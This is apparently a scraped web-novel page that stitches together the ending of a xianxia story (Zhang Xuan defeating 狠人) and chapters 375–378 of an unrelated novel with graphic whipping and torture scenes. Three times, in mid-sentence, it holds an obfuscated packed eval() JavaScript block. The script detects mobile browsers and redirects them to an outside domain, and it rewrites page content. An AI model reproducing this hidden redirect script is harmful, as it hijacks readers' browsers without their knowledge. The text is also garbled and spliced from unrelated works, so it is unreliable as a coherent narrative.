“那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第375章 找到他杀无赦 “怎么不说话了?” 萧玦的声音很轻,仿佛只是随口一问。 月娘紧咬着牙关,血腥味从唇齿间蔓延开来。 她不敢开口,因为她知道,无论说什么,都是错。 啪! 鞭子毫无预兆地落下,精准地抽在上一道伤痕的边缘。 “呃啊……” 剧痛让她喉咙里泄出压抑不住的悲鸣。 “本座在问你话。”萧玦的语气依旧平淡,可那鞭子却一下比一下狠厉,“还是说,本座调教出来的狗,连主人的问话都不会回了?” “奴婢……奴婢……” 啪! 又是一鞭,抽得她眼前发黑,破碎的布料混着血肉粘在身上。 “奴婢什么?”萧玦俯视着她,像在欣赏一件被自己亲手打碎的艺术品,“连自己的名字都忘了?” “奴婢……月娘……不敢……”她用尽力气,将头颅磕在冰冷的石板上,发出沉闷的声响。 “不敢什么?” “……不敢忘……” 萧玦似乎很满意这个答案,鞭子停了下来。 他用鞭梢,轻轻挑起月娘满是血污和泪痕的下巴,强迫她抬起头。 “告诉本座,方才行色匆匆,是想去哪儿?” 月娘的心,猛地一沉。 去哪儿? 去找裴应见。 这个念头,她连想都不敢让眼前这个男人知道。 她的沉默,显然让萧玦不悦。 他嘴角的弧度更深了,带着一种洞悉一切的残忍。 “看来,是本座的玩物,不听话了。”他松开鞭子,任由月娘的脸重新摔回地面,“本座听说,姓裴的丢了?” 轰! 月娘只觉得脑子里有什么东西炸开了。 他知道了。 他什么都知道了! 一股比方才被鞭笞时更深的恐惧,攫住了她的心脏。 她怕,怕萧玦先她一步找到裴应见。 以主上的手段,裴应见……会比在里痛苦一万倍! 不……不行! 这一刻,对裴应见的担忧,竟诡异地压过了她对主人的恐惧。 她顾不上满身的伤痛,挣扎着向前膝行了两步,双手伏地,用最卑微的姿态仰视着他。 “主上……月娘知错了!月娘再也不敢了!求主上息怒,不要……不要和一件玩物计较……” 她的声音里带着哭腔,是发自内心的哀求与臣服。 萧玦饶有兴致地看着她。 他蹲下身,修长的手指捏住她的下颌,力道大得几乎要将她的骨头捏碎。 他仔细端详着这张与秦绵绵别无二致的脸,看着上面交织的恐惧、哀求与血污。 “很好。”他低笑出声,“幸好,本座的这个玩物,还没有丢。” 这句话,像是一盆冰水,兜头浇灭了月娘心中最后一丝侥幸。 她,也是玩物。 一件会说话,会求饶,会因为另一件玩物而恐惧的、更高级的玩物。 一种陌生的、名为“**”的感觉,迟钝地从心底最深处浮了上来。 这么多年,她只知道恐惧与疼痛,却从未有过这种感觉。 这种陌生的,异样的感觉,让她浑身冰冷。 也让她不可抑制地,更加想念那个会用温柔眼神看着她,叫她“绵绵”的男人……哪怕他叫的并不是她,哪怕那只是幻觉。 她眼底一闪而逝的恍惚,没有逃过萧玦的眼睛。 “看来,是本座太久没管教你,让你多了许多不该有的小心思。” 萧玦脸上的笑意瞬间敛去,取而代之的是一片阴沉。 啪! 长鞭再次扬起,狠狠抽在她的背上! “啊!” 月娘惨叫着扑倒在地,可这一次,萧玦没有给她喘息的机会。 凌厉的鞭子一下接一下地落下来,直打的她皮开肉绽,血肉模糊。 直到她身上不剩一块好肉,不想把自己这个玩物玩坏的萧玦才停了手。 “跟上来。” 他转身朝着主院的方向滑去,声音冷得没有一丝温度。 “跪着。” 月娘难以置信地瞪大了眼睛。 从府门到主院,那是一条由青石板铺成的、漫长的路。 “怎么,听不懂?”萧玦的脚步未停。 月娘不敢再有片刻迟疑,强撑着剧痛的身体, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105862|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用膝盖代替双脚,开始在这条**之路上,一步步向前挪动。 膝盖很快便磨破了,鲜血顺着小路流下,在青石板上拖出两条刺目的痕迹。 她的意识开始模糊,眼前阵阵发黑,身子一软,险些栽倒。 “你要是晕过去,”萧玦头也未回,声音却清晰地飘了过来,“本座就下令,让全城的暗桩去找他。找到之后,先打断四肢,再割了舌头,做成真正的玩物,送到你床头。” 这番话,比任何酷刑都管用。 月娘浑身剧震,一股不知从何而来的力气涌遍四肢百骸。 她抬起头,死死地盯着前方那个残缺却如神魔般的背影,咬着牙,继续向前爬去。 血路,在身后不断延长。 萧玦能感觉到身后那道微弱却执拗的气息,他心里那股子不痛快越发浓郁。 他亲手调教出的最锋利的刀,最听话的狗,竟然会为了另一个男人,展露出这种他不曾见过的“坚韧”。 这让他感到自己的作品,出现了瑕疵。 而他,最恨瑕疵。 终于,当月娘像一滩烂泥般爬到主院的台阶下时,萧玦停住了脚步。 他居高临下地瞥了她一眼,像是看什么脏东西。 “滚去收拾干净,别污了本座的眼。” 月娘如蒙大赦,用尽最后一丝力气,狼狈地滚向一旁的偏房。 看着她的身影消失,萧玦缓缓收回目光,对着空无一人的院落阴影处,淡淡地开口。 “鬼影。” 一道黑影无声无息地滑出,单膝跪地。 “主上。” 萧玦的眼中再无半分方才的戏谑,只剩下冰冷的杀意。 “传令下去。” “全城搜捕裴应见。” “找到他……杀无赦。” …… 痛。 浑身上下,每一寸筋骨,每一条血脉,都在被看不见的火焰灼烧,被淬毒的钢针穿刺。 这是裴应见恢复意识时,唯一的感受。 但这种痛,似乎又不那么重要了。 因为在无边无际的痛苦深处,在混沌的神识里,有一道微弱却执拗的光,正从遥远的东南方向传来。 第376章 你不认得我了? 那光,在牵引着他。 “绵绵……” 两个字,从他干裂起皮的唇间无意识地溢出。 沙哑,破碎,连他自己都未曾听清。 他是谁? 绵绵又是谁? 脑中空空如也,没有答案。只有那个方向,那个名字,如同烙印,深刻在魂魄的最深处。 他必须去。 现在,立刻。 下一瞬,那具被刘御医断言需静养数月才能下床的残破身躯,竟猛地从床上坐起。 动作之迅猛,牵扯得身上无数伤口迸裂,血腥气瞬间在空气中弥漫开来。 他却恍若未觉。 赤着脚踏在冰冷的地面上。 高烧未退的身体滚烫,眼神却是一片空洞的迷惘。 他凭着本能,避开所有光亮,贴着墙根的阴影,如同一缕没有实体的幽魂,向外飘去。 郡主府的守卫,在他眼中形同虚设。 不是他有多高明的计策,而是那具身体里残留的、千锤百炼的战斗本能,在替他做出最正确的选择。 翻墙,落地。 背脊撞在粗粝的墙石上,新添的擦伤与旧伤叠在一起,痛楚几乎让他昏厥。 可他只是停顿了一瞬,便辨明了方向,迈开脚步,一瘸一拐地,却又无比坚定地,朝着那片无尽的黑暗走去。 走向东南。 …… 不知走了多久。 时间失去了意义。 他穿过京城的繁华,走出高耸的城门,将身后那座囚笼,远远地抛下。 脚下的路,从平整的青石板,变成了崎岖的黄土路。 周遭的景致,也从亭台楼阁,化作了荒芜的田野与枯败的树林。 体内的那股蛮横的力气,终于在日夜兼程的跋涉中被消耗殆尽。 饥饿如同迟来的猛兽,开始疯狂啃噬他的五脏六腑。 力竭让他每一步都重如千钧,眼前阵阵发黑。 他停下脚步,环顾四周。 荒山野岭。 连飞鸟的踪迹都难觅,更遑论人烟。 远处,地平线的尽头,隐约有一角倾颓的飞檐,藏在枯枝败叶之间。 是座破庙。 他舔了舔干裂出血的嘴唇,朝着那座破庙挪动着灌了铅的双腿。 还未走近,一股若有似无的香气便顺着寒风钻入他的鼻腔。 是食物的味道。 肉香。 这股味道瞬间压过了东南方向那虚无缥缈的牵引,成了他此刻唯一的、最真实的目标。 他加快了脚步,踉跄着闯入那座四面漏风的破庙。 庙内蛛网遍布,神像倾颓。 正中央,一堆小小的篝火正噼啪作响。 火上架着一只破了一角的瓦罐,香气正是从里面飘出。 火堆旁,一道纤瘦的背影正蜷缩着,听见他闯入的动静,那身影猛地一颤,像只受惊的兔子,抓起手边一根烧得发黑的木棍,霍然起身,警惕地望了过来。 是个女人。 脸上沾着灰,衣衫也有些破旧,但那双眼睛,却亮得惊人。 此刻,那双眼睛里盛满了惊慌与戒备。 裴应见没有理会她的紧张。 他的目光死死地锁在那只冒着热气的瓦罐上。 “给我。” 而对面,女子看着眼前这个突然闯入的男人,心头巨震。 他穿着一身被血污和泥土浸染得看不出原色的锦袍,长发凌乱,面色惨白,唯独那双眼睛,黑得骇人,里面没有半分活人的情绪,只有一片死寂的深渊。 可那张脸……纵使狼狈至此,也难掩其原本的轮廓。 镇国侯,裴应见。 路上的传闻在她脑中轰然炸开。 ——听说了吗?镇国侯裴应见,疯了! ——被安乐郡主折磨得不成人形,连自己是谁都不知道了! 原来竟然是真的。 姜飞飞握着木棍的手,渗出了冷汗。 她望着对面的男人,强作镇定,没有立刻回应他的要求,而是试探着问: “你……你不认得我了?” 裴应见的眉头,几不可察地蹙了一下。 这个问题,他也想知道。 他没有回答,观察了她片刻,反问:“你识得我?” 果然! 姜飞飞的心在这一瞬间落回了实处。 恐惧像潮水般退去。 取而代之的,是一种近乎狂喜的、抓到救命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112917|165820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稻草的兴奋。 他真的不认得人了! 一个失去了记忆、状若疯魔的镇国侯。 一个武功高绝,却神智不清的绝顶高手。 他不再是安乐郡主的玩物,也不再是圣上眼中的棋子。 他现在……是一柄脱了鞘的、无人掌控的绝世凶器。 而这柄凶器,就这么直愣愣地,闯到了她的面前。 姜飞飞的眼珠飞快地转动着,心底的算盘,已在瞬间打得噼啪作响。 萧玦在找她,天罗地网。 她能躲一时,躲不了一世。 但如果…… 如果她身边,有这样一尊煞神护着呢? 如果,这柄脱了鞘的、连主人都忘了的绝世凶器,能握在她的手里呢? 这个念头,像一粒被投进油锅里的火星,瞬间炸开。 她的目光,重新落回裴应见那张惨白而空洞的脸上。 眼前这个男人,像是刚从坟堆里刨出来的,浑身都是干涸发黑的血与泥,破烂的锦袍下,身形瘦削得像一具骨架。 唯独那双眼睛,黑沉沉的,没有光,像两口深不见底的枯井,能把人的魂都吸进去。 她的心在擂鼓般的狂跳。 她看着裴应见那双空洞的眼睛,脸上慢慢地褪去了惊慌,换上了一副恰到好处的、带着几分怯懦与欣喜的表情。 “噹啷。” 那根被她视作唯一倚仗的木棍,从她松开的手指间滑落,掉在地上。 她往前挪了半步,声音发颤,带着恰到好处的哽咽。 “公子……您……您不认得我了么?” 裴应见那双死寂的眼珠,似乎动了一下,又似乎没有。 他只是看着她,像在看一块石头,一棵枯树。 姜飞飞的心,彻底定了下来。 她吸了吸鼻子,眼眶迅速泛红,大颗的眼泪毫无征兆地滚落,顺着沾了灰的脸颊,冲出两道狼狈的泪痕。 “我是飞飞啊……”她哭着,声音凄楚,“去年冬天,在京郊的粥棚,我……我快饿**,是您,是您路过,给了我一个馒头……救了我的命啊……” 她一边说,一边偷偷观察着裴应见的反应。 可他脸上,什么表情都没有。 第377章 吃了才能活 没有怜悯,没有动容,甚至没有一丝一毫的波澜。 仿佛她口中那段事关生死的惨事,不过是窗外的风声。 姜飞飞心头一凉,却不敢停下,只能硬着头皮继续往下演。 “后来……家里遭了难,爹娘……爹娘他们都去了……”她哭得更凶,身体也因为“悲伤”而微微颤抖,“我想着去南边投奔姑母,可是……可是路上盘缠都用光了,只能……只能暂时在这里躲一躲……” 她声泪俱下,将一个家破人亡、走投无路的孤女形象演得活灵活现。 若是换了旁人,怕是早已心生恻隐。 可裴应见,只是静静地听着。 等她哭声渐歇,他才再次开口,依旧是那两个字,嘶哑,冷硬,像两块石头撞在一起。 “吃的。” 姜飞飞的哭声,像是被一只无形的手掐在了喉咙里。 她愣愣地看着他。 看着那张对她的悲惨故事无动于衷的脸,心头那最后一丝试图用柔弱博取同情的侥幸,彻底沉了下去。 她明白了。 他不是人。 是一头只认食物的野兽。 跟一头饿疯了的野兽,讲什么恩情,说什么故事,都是徒劳。 姜飞飞忽然不哭了。 她抬手,用脏兮兮的袖子,胡乱地在脸上一抹,抹得满脸都是黑一道白一道的印子。 她看着裴应见,脸上慢慢地浮起一抹混杂着凄凉、自嘲,还有几分解脱的笑。 “好啊。” 她站到一边,指了指火上那只还在“咕嘟”冒着热气的破瓦罐。 “吃的,就在里面。” “你自己看,看了……你再决定,吃,还是不吃。” 裴应见没有半分犹豫。 他迈开脚步,踉跄着走到火堆旁,弯下腰,低头朝着那黑乎乎的瓦罐里看去。 浑浊的、泛着油星的汤水里,翻滚着几根不知名的草根。 而在那几根草根之间,一只被剥了皮、煮得惨白浮肿的老鼠,正随着沸水,上下沉浮。 它那细长的尾巴,还随着汤水的翻滚,轻轻地摆动着…… 那只被煮得发白的老鼠,在浑浊的汤汁里载沉载浮。 寻常人见了,怕是早已肝胆欲裂,胃里翻江倒海。 裴应见的眼神,却只是在那只老鼠身上停顿了一瞬。 那双黑沉沉、宛若深渊的眸子里,没有厌恶,没有惊惧,甚至没有半分波澜。 下一刻,他伸出手,就那么赤手探进了滚烫的瓦罐里。 他像是感觉不到烫,精准地捞出了那只老鼠,然后面无表情地,一口咬了下去。 骨头被嚼碎的细微声响,在死寂的破庙里,清晰得令人头皮发麻。 姜飞飞的心,在那一瞬间,提到了嗓子眼。 她看着他用一种近乎野兽的方式,将那只老鼠连肉带骨地吞咽下肚,又端起瓦罐,将里面混着草根的汤水一饮而尽。 做完这一切,他似乎才终于从那种极致的饥饿中,找回了一丝属于人的逻辑。 他没有看她,只是将那只空了的、还带着余温的破瓦罐,朝她的方向,推了推。 罐底,还剩下小半肉汤。 是他刻意留下的。 姜飞飞彻底愣住了。 她以为他会像饿疯了的野狗,将所有能果腹的东西都吞下去,甚至……会把目光投向她这个活人。 可他居然给她留了。 就在她怔愣之际,一道嘶哑得如同砂纸摩擦的声音,从他喉间挤出。 “吃了,才能活。” 简简单单五个字,好像没有情绪,没有温度。 她猛地抬起头看向他。 他是在安慰她? 又或许,他甚至可能都不知道安慰是什么。 他只是在陈述一个最简单、最残酷的道理。 这个男人,不是纯粹的野兽。也不是个疯子。 他只是……被剥离了所有复杂的情感与记忆,只剩下最核心的生存本能,和某种……她还看不透的、深藏在骨子里的东西。 姜飞飞的心思,在电光石火间转了千百个来回。 对付一头野兽,她可以用陷阱和诱饵。 可对付这样一个……似人非人,似兽非兽的存在,寻常的手段,怕是行不通了。 她心底那份想要将他彻底掌控的狂热,被这盆冷水浇得冷静了些许。 徐徐图之。 对,要徐 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一切都发生在电光石火之间。 姜飞飞甚至还没看清来人是男是女,是高是矮,战斗便已经结束了。 浓郁的血腥味,迅速在冰冷的空气中弥漫开来。 裴应见依旧站在门口,月光从他身后照进来,将他的影子拉得又长又诡异。 他缓缓转过身,那双没有焦距的眼睛,准确无误地“看”向她。 “是来杀我的。” 他的声音依旧嘶哑,却带着一种陈述事实的冷漠。 姜飞飞向死尸看了一眼,心脏却疯狂地擂动起来。 不,她能认出这人的兵器,他不是来杀裴应见的,而是来杀她的! 人**,而她的机会也来了。 姜飞飞的眼珠飞快地转动,脸上却在瞬间褪尽血色,换上了一副惊恐到极致的表情。 她连滚带爬地从墙角扑了出来,“噗通”一声,重重跪倒在裴应见面前的尘土里。 第378章 有我在 “不……不是的……” 她哭着,声音抖得不成样子,眼泪像是断了线的珠子,滚滚而下。 “公子……是我……是我骗了您!” “他们不是来杀您的,是来杀我的!” 裴应见静静地看着她,没有说话。 姜飞飞的心悬到了嗓子眼,却只能咬着牙继续演下去。 